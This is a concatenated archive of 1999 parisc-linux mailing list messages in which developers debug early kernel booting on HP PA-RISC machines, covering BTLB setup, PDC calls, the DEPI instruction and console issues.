  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 14:15:48 -0000
Original-Received: (qmail 22985 invoked by alias); 15 Nov 1999 14:15:47 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 22961 invoked by uid 0); 15 Nov 1999 14:15:46 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 15 Nov 1999 14:15:46 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6386

Philipp Rumpf wrote:

> > > How far does it actually boot though?
>
> > Transferring control to kernel. (At entry point 0x00010000)
> > kernel(0x00148C80, 0x00504010, 0x00148C80, 0x00016640)
> > Clear BSS 0x0011B048 --> 0x0013D690
> > Boot loader: PA/Linux, maybe PALO
> > realmode_setup exiting
> >
> > ... At this point it hangs.  Before, it always used to hang at:
> > Transferring control to kernel. (At entry point 0x00010000)
> >
> > I still do not believe it ever successfully finished the rfi in head.S :(
> > I still need to do some more research to verify this, but that is my
> > gut feeling right now.
>
> This sounds right.  It is indeed possible we cannot install a BTLB entry on
> your CPU (and the firmware just reports success as it is free to according to
> the documentation) or the BTLB entry gets removed before we get the chance to
> do our first printk.

Ahh, ok.  I think I'm begining to understand what is happening now (finally).  Is
their
a way to check the BTLB entry and see if it is their right after we we insert the
entry?
or will th real-mode code take care of that?  (I would still like to know what is
happening, I've spent a lot of time tring to figure this out :))

>
> For both problems, the answer is within reach, and is called "a separate direc-
> tory for real-mode code".  Being able to debug unexpected TLB insertion handler
> calls is one of the immediate advantages of having this directory, and sure is
> going to be useful in the future (and would have been useful in the past).

Great!  Anything I can do to help?  I am just learning how this all works, but I
am very
interested in helping.

>
> Wanna bet we're going to get that machine to a sash prompt this week ?

Very, Very nice. Then hopefully I'll be able to contribute more.  I've been
wanting to get
this port to boot on this machine for a long time now :)  This is going to be a
great week!!

- Ryan


>
>         Philipp Rumpf
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ing. =?iso-8859-1?Q?Ra=FAl=20G=F3mez?= Escamilla" <rgomeze@cfe.gob.mx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem with jukebox
Date: Mon, 15 Nov 1999 10:01:31 -0600
Organization: CFE-UIE
Lines: 13
Approved: news@gmane.org
Message-ID: <38302E5B.7C463D3@k4110.cfemex.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618629 27920 80.91.229.3 (22 Nov 2014 01:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:29 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: rgomeze@cfe.gob.mx  Mon Nov 15 09:06:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16264
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 09:06:04 -0700
Original-Received: (qmail 3260 invoked by uid 15267); 15 Nov 1999 16:07:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3252 invoked from network); 15 Nov 1999 16:07:35 -0000
Original-Received: from gate.cfe.gob.mx (159.16.0.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 16:07:35 -0000
Original-Received: (from uucp@localhost)
	by gate.cfe.gob.mx (8.8.8/8.8.5) id LAA00411
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 11:11:12 GMT
Original-Received: from unknown(159.16.16.161) by gate.cfe.gob.mx via smap (4.0)
	id xma028393; Mon, 15 Nov 99 11:08:46 GMT
Original-Received: from [159.16.29.5] by k4110.cfemex.com id aa25041; 15 Nov 99 10:09 CST
X-Mailer: Mozilla 4.5 [es] (WinNT; I)
X-Accept-Language: es
Xref: news.gmane.org gmane.linux.ports.parisc:6387

I am in process of changing several you scheme with HP-UX 9.x to Linux
I have a problem with a workstation
My hardware is a HP 9000 715/75 with 64 Mb ram, 4.2 Gb in HD, SO hp-ux
9.05, a jukebox MDI SCSI express Library 5-20DX  (this jukebox is all
internal HP)
 To make a bring updte to Linux the only hardware that I don't have
support it is the jukebox
Does somebody have experience in this hardware type or would it develop
my own driver?
Raul.
--



From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@verinet.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 11:33:28 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <m11nQwX-000IbGC@kh12>
Reply-To: bame@verinet.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618629 27922 80.91.229.3 (22 Nov 2014 01:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.verinet.com  Mon Nov 15 11:41:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA18289
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 11:41:28 -0700
Original-Received: (qmail 7228 invoked by uid 15267); 15 Nov 1999 18:43:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7207 invoked from network); 15 Nov 1999 18:43:01 -0000
Original-Received: from bame.verinet.com (HELO kh12) (root@206.168.244.141)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 18:43:01 -0000
Original-Received: from bame.verinet.com (really [127.0.0.1]) by bame.verinet.com
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m11nQwX-000IbGC@kh12> (Debian Smail3.2.0.101)
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 11:33:33 -0700 (MST) 
Errors-To: bame@verinet.com
Original-Sender: bame@bame.verinet.com
Xref: news.gmane.org gmane.linux.ports.parisc:6388


I don't work Mondays, but I saw this by chance and thought I should
respond as the culprit :-)

Don't knock yourself out figuring out where a C3000 is dying now
(this can be a TREMENDOUS time sink!).  If you want to get a better PIM
dump of the problem, comment out the 'mtctl ??, %cr14' in head.S.

But logic is all that's required here.  The RFI attempts to
"resume" executaion at 0xC<something> which isn't mapped, and there's
no TLB handler (that I know of, haven't studied it yet though), so this
will generate an immediate fault.

I'm glad folks are finding the C setup code easier to grok, but I
warn that the most innocent-seeming change can cause the compiler to
generate something which will lead to a mysterious death while booting!
This fragility is unacceptable.

The "best" solution to this which I've come up with is to segregate the
realmode code like Phillip suggests, and link it into a small separate
executable, so that vmlinux is logically two executables in one.  This
design is a bit twisted and will mainly impact a couple of Makefiles as well
as head.S, realmode_setup.c, setup.c, and cosmetic changes to traps.c
However once it's done it'll be easy to understand, change, and maintain
the realmode startup code.

I'm planning to start this tomorrow so somebody stop me if it seems stupid.
Very rough notes -- very rough -- about the twisted design can be found at
http://puffin.external.hp.com/~bame/boot.html  I'd like to be shown there's
an easier way...

	-Paul Bame


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <der_fisch@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] question about booting / console
Date: Mon, 15 Nov 1999 20:34:55 +0100
Organization: Fischlustig
Lines: 24
Approved: news@gmane.org
Message-ID: <99111520410600.00425@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618629 27925 80.91.229.3 (22 Nov 2014 01:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: der_fisch@fischlustig.de  Mon Nov 15 12:39:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19448
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 12:39:24 -0700
Original-Received: (qmail 4865 invoked by uid 15267); 15 Nov 1999 19:40:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4850 invoked from network); 15 Nov 1999 19:40:57 -0000
Original-Received: from 130-149-145-61.dialup.cs.tu-berlin.de (HELO tentakel.fischlustig.de) (@130.149.145.61)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 19:40:57 -0000
Original-Received: (qmail 425 invoked from network); 15 Nov 1999 19:41:26 -0000
Original-Received: from beavis.fischlustig.de (HELO beavis) (andi@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 15 Nov 1999 19:41:26 -0000
X-Mailer: KMail [version 1.0.28]
Xref: news.gmane.org gmane.linux.ports.parisc:6389

Hi,

I have now sucessfully booted the linux kernel over the network with bootp.

after booting the HP with "boot alt isl" , I changed the command line from
console=ttyS0 to console=tty at the interactive bootloader, but after the kernel
displays

realmode_setup exited

nothing else happens. I used the latest binary kernel snapshot, and I have a
HP 712.

-- 
bye
  Andreas

-------------------------------------------------
e-mail: andi@fischlustig.de

*Checkout our cool game for Linux and Win32*
   *http://www.fischlustig.de/clanbomber*
-------------------------------------------------


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] question about booting / console
Date: Mon, 15 Nov 1999 17:34:27 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911151733390.10143-100000@vodka.thepuffingroup.com>
References: <99111520410600.00425@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618630 27928 80.91.229.3 (22 Nov 2014 01:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <der_fisch@fischlustig.de>
Original-X-From: adevries@thepuffingroup.com  Mon Nov 15 14:22:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA19921
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 14:22:13 -0700
Original-Received: (qmail 21056 invoked by uid 15267); 15 Nov 1999 21:23:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21048 invoked from network); 15 Nov 1999 21:23:47 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 21:23:47 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA10156;
	Mon, 15 Nov 1999 17:34:27 -0500
In-Reply-To: <99111520410600.00425@beavis>
Xref: news.gmane.org gmane.linux.ports.parisc:6390


On Mon, 15 Nov 1999, Andi wrote:
> I have now sucessfully booted the linux kernel over the network with bootp.
> after booting the HP with "boot alt isl" , I changed the command line from
> console=ttyS0 to console=tty at the interactive bootloader, but after the kernel
> displays
> realmode_setup exited
> nothing else happens. I used the latest binary kernel snapshot, and I have a
> HP 712.

I'm pretty sure that that binary image will actually only work with a
serial console, so that's probably the issue.

I'll make sure there's better images up sometime this week.

- Alex


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob hoppe <hoppe@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem with jukebox
Date: Mon, 15 Nov 1999 17:27:44 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <383088E0.99D03EAE@mindspring.com>
References: <38302E5B.7C463D3@k4110.cfemex.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618630 27929 80.91.229.3 (22 Nov 2014 01:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:30 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Ing. =?iso-8859-1?Q?Ra=FAl=20G=F3mez?= Escamilla" <rgomeze@cfe.gob.mx>
Original-X-From: hoppe@mindspring.com  Mon Nov 15 15:26:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA20893
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 15:26:43 -0700
Original-Received: (qmail 18465 invoked by uid 15267); 15 Nov 1999 22:28:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18458 invoked from network); 15 Nov 1999 22:28:17 -0000
Original-Received: from smtp10.atl.mindspring.net (207.69.200.246)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 22:28:17 -0000
Original-Received: from mindspring.com (user-37ka2h5.dialup.mindspring.com [207.69.10.37])
	by smtp10.atl.mindspring.net (8.8.5/8.8.5) with ESMTP id RAA22466;
	Mon, 15 Nov 1999 17:27:38 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win95; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6391

"Ing. Ral Gmez Escamilla" wrote:

> I am in process of changing several you scheme with HP-UX 9.x to Linux
> I have a problem with a workstation
> My hardware is a HP 9000 715/75 with 64 Mb ram, 4.2 Gb in HD, SO hp-ux
> 9.05, a jukebox MDI SCSI express Library 5-20DX  (this jukebox is all
> internal HP)
>  To make a bring updte to Linux the only hardware that I don't have
> support it is the jukebox
> Does somebody have experience in this hardware type or would it develop
> my own driver?

Raul,

This is the same as an HP magneto-optical drive.  MDI marketed the drive with
their name, to give their softwear credibility.  The drivers should be in the
model or SCSI dev xcripts. I hope this helps.

Rob



From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 15:02:47 -0800
Lines: 73
Approved: news@gmane.org
Message-ID: <38309117.3707D5FB@hp.com>
References: <382F3C94.BFF3EB9D@uswest.net>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618630 27936 80.91.229.3 (22 Nov 2014 01:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:30 +0000 (UTC)
Cc: frowand@cup.hp.com, parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: frank_rowand@hp.com  Mon Nov 15 16:02:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA21579
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:02:16 -0700
Original-Received: (qmail 1330 invoked by uid 15267); 15 Nov 1999 23:03:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1323 invoked from network); 15 Nov 1999 23:03:50 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:03:50 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id 9A833738; Mon, 15 Nov 1999 15:02:51 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA07225; Mon, 15 Nov 1999 15:02:48 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6392

Ryan Bradetich wrote:
> 
> Paul,
> 
> I have started working on getting the kernel to boot on the PA2.0
> architecture again, and I see the you and others have been doing
> lots of work with the initialization code.  (Nice job to everyone btw,
> the code is a lot easier to figure out for a newbie like me! :)
> 
> I was looking at the following section of code and I have a
> discrepancy that I wanted to make you aware of.  I don't know how
> to fix it yet, but I will continue to look.
> 
> I am working on a C200+ which has the PA2.0 processor, so in the
> the following section of code it should give me an error during the
> BTLB initialization, but during the PDC_BTLB_INSERT pret is set
> to 0, so the check for non-PA1.1 architecture's fail.
> 
> I will continue to look through the documentation that has been
> previously pointed out, and the devresource page  pointed out by
> Frank Rowand to see if I can find a solution to the problem.
> 
> Thanks,
> 
> Ryan Bradetich
> 
> [Taken from arch/parisc/kernel/realmode_setup.c]
> 
>  /* This whole VM setup stuff may be removed ultimately.  It seems
>    * to me that once the TLB miss handlers are ready, we just switch
>    * to VM and let them handle TLB population -PB
>    */
> 
>   pret = (*PAGE0->mem_pdc)(
>   PDC_BLOCK_TLB,
>   PDC_BTLB_INSERT,
>   0x00000000,  /* MS bits, virt page number */
>   0xc0000,  /* LS bits, virt page number */
>   0x00000000,  /* Physical page number */
>   4096,   /* # pages to map */
>   0x03000000,  /* access rights, etc... */
>   0);   /* slot number */
> 
>   if (pret != 0)
>  {
>        mprintf("PDC_BTLB_INSERT returned %d\n", pret);
>       if (pret == -1)
>      {
>         mprintf("Looks like there's no BTLB on this box, so it's
> probably\n"
>                        "either PA1.0 or PA2.0.  In any case we're
> screwed for now\n");
>         led_flash();
>      }
> }


Ryan,


This might not solve your problem, but it's worth checking out.  The
procedure calling convention for PA 2.0 PDC is different than for 1.0.
See http://thepuffingroup.com/parisc/documentation.html, pdc.pdf,
p 2-8 defines the return status as a 64-bit, not 32 bit.  You might
also want to look at the neighboring pages of the document for other
changes (eg, arg4 through arg7 are passed in registers).

I don't know if your system has wide or narrow PDC - you have to call
PDC_MODEL(Return Capabilities), and check bit 63 of caps (the field
called OS64).

-Frank


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] use of (*PAGE0->mem_pdc)()
Date: Mon, 15 Nov 1999 15:11:36 -0800
Lines: 97
Approved: news@gmane.org
Message-ID: <38309328.A734C736@hp.com>
References: <382F3C94.BFF3EB9D@uswest.net>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618631 27938 80.91.229.3 (22 Nov 2014 01:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:31 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: frank_rowand@hp.com  Mon Nov 15 16:10:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA21791
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:10:06 -0700
Original-Received: (qmail 4505 invoked by uid 15267); 15 Nov 1999 23:11:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4493 invoked from network); 15 Nov 1999 23:11:40 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:11:40 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA13297
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 18:10:44 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA07378 for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 15:11:36 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6393

Ryan Bradetich wrote:

< stuff deleted >

> [Taken from arch/parisc/kernel/realmode_setup.c]
> 
>  /* This whole VM setup stuff may be removed ultimately.  It seems
>    * to me that once the TLB miss handlers are ready, we just switch
>    * to VM and let them handle TLB population -PB
>    */
> 
>   pret = (*PAGE0->mem_pdc)(
>   PDC_BLOCK_TLB,
>   PDC_BTLB_INSERT,


A comment that is totally unrelated to the question Ryan was asking...

I would recommend that we quit using the pointer to PDCE_PROC() that
is in page zero, because the newer machines have a PDC procedure,
PDC_RELOCATE(), that copies PDCE_PROC into real memory, where it
executes much faster.  The page zero pointer to PDCE_PROC() is not
updated by PDC_RELOCATE(), but instead a pointer to the in-memory
PDCE_PROC() is returned.

I recommend using a global variable to hold the pointer to PDCE_PROC(),
which would be the value from page zero initially, then updated to
the value returned by PDC_RELOCATE().

-Frank

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:39 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03093
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:39 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:39 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id NAA26340
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 13:21:04 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id NAA26769
	for <pcj@primenet.com>; Mon, 8 Mar 1999 13:22:09 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd026727; Mon Mar  8 13:22:00 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA10747;
	Mon, 8 Mar 1999 14:48:52 -0500
Resent-Date: Mon, 8 Mar 1999 14:48:52 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Mon, 8 Mar 1999 14:48:29 -0500 (EST)
From: Christopher Beard <cjbeard@istar.ca>
X-Sender: cjbeard@centauri.osfi-bsif.gc.ca
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] source for the boot loader?
In-Reply-To: <199903081934.NAA07421@dukat.upl.cs.wisc.edu>
Message-ID: <Pine.LNX.4.10.9903081444280.7437-100000@centauri.osfi-bsif.gc.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"P3PpB1.0.rd2.Zc2vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/147
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: e29f7b7b9aea3cfbaed79864f19fa9b6
Status: RO
Lines: 22
Xref: merlin.pcj.primenet.com palinux:118


> Maybe I just missed it, but is the source for the bootloader out 
> there anywhere? I'd like to start looking at the code....

It is our hope that all code in this project will be released under the
GPL, and will be made available within the project's CVS repository as
soon as possible. 

It is important in an open-source project that code be released early and
regularly. If you have code that you would like to add to the repository,
please get in touch with me to either have it added or to arrange for
write access.

As for the bootstrap code, we are waiting for Jason Eckardt to release it
and import it into CVS.

Chris

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 15:14:38 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <383093DE.A8B73CE4@hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618631 27940 80.91.229.3 (22 Nov 2014 01:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:31 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Mon Nov 15 16:13:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA21943
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:13:11 -0700
Original-Received: (qmail 5890 invoked by uid 15267); 15 Nov 1999 23:14:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5879 invoked from network); 15 Nov 1999 23:14:45 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:14:45 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA14287;
	Mon, 15 Nov 1999 18:13:49 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA07444; Mon, 15 Nov 1999 15:14:39 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6394

Philipp Rumpf wrote:
> 
> > >         ; First order of business is to adjust some pointers
> > >         depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
> > >         depi            3,1,2, %sp      ; phys->virt SP
> > >         depi            3,1,2, %dp      ; p2v DP
> >
> > DEPI is "Deposite Immediate".  depi 3,1,2, %arg0
> > drops the value 3 into the upper 2 bits of register arg0.
> >
> > IIRC, it's:  DEPI immediate_value, right_most_bit#, #bits, target_register
> >
> > But...strange code.  It's setting the upper 2 bits of R26, R30, and R27.
> 
> The way physical memory is mapped to kernel virtual memory is (with exceptions):
> 
> physical address P is mapped at virtual address P + PAGE_OFFSET.
> 
> PAGE_OFFSET currently is 0xc000 0000 which was a bad value and will be changed
> to either 0x8000 0000 or 0xe000 0000 in the near future.  This is one of the
> reasons you should use tophys and tovirt instead of doing the depi by hand.

< stuff deleted >


This is just one of several recent messages dealing with the issues caused by
locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I
still don't understand why the kernel can't be at zero, even though several
people have tried to explain it to me.  Can anyone provide a clear
explanation?

Thanks!

-Frank


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
